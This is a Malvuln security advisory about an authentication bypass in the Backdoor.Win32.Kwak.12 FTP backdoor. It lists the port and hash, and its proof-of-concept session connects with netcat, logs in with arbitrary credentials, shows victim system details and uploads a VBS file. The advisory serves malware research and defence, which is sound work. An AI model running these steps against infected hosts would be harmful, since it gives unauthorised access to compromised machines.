Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Kwak.12  
Vulnerability: Authentication Bypass  
Description: The backdoor runs an FTP server that listens on TCP port 37885. The program acts like a typical FTP server and prompts for logon. However, anyone can seemingly use any combination of username and password to logon to the system and run commands.  
Logon using any user/pass combination.  
USER 666  
331 Password required for 666.  
PASS 666  
230 User 666 logged in.  
Type: PE32  
MD5: c25393545e5ead3a35996ef9a887bd34  
Vuln ID: MVID-2021-0147  
Dropped files:   
Disclosure: 03/25/2021  
nc64.exe x.x.x.x 37885  
220 Enter Login  
Computer Name: DESKTOP-2X3IHHP  
Local IP:  
User On This Computer: victim  
Drive C: 14.99 Gb Free  
USER malvuln  
331 Password required for malvuln.  
PASS root  
230 User malvuln logged in.  
250 CWD command successful. "C:/TEMP/" is current directory.  
215 UNIX Type: L8 Internet Component Suite  
227 Entering Passive Mode (192,168,88,128,194,62).  
STOR a.vbs  
150 Opening data connection for a.vbs.  
226 File received ok  
227 Entering Passive Mode (192,168,88,128,194,63).  
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